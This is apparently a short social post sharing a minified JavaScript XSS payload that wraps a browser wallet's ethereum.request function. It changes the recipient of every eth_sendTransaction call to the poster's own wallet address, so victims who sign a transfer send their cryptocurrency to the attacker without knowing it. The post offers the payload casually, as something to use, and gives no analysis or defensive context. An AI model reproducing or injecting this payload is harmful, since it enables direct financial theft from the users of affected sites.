Fun little XSS payload that will always replace the "to" address of eth_sendTransaction with yours.
!function(){if(!window.ethereum)return;let e=ethereum.request;ethereum.request=n=>(n?.method==="eth_sendTransaction"&&n.params?.[0]?.to&&(n.params[0].to="0x...[your wallet]"),e.apply(this,[n]))}();
6 months ago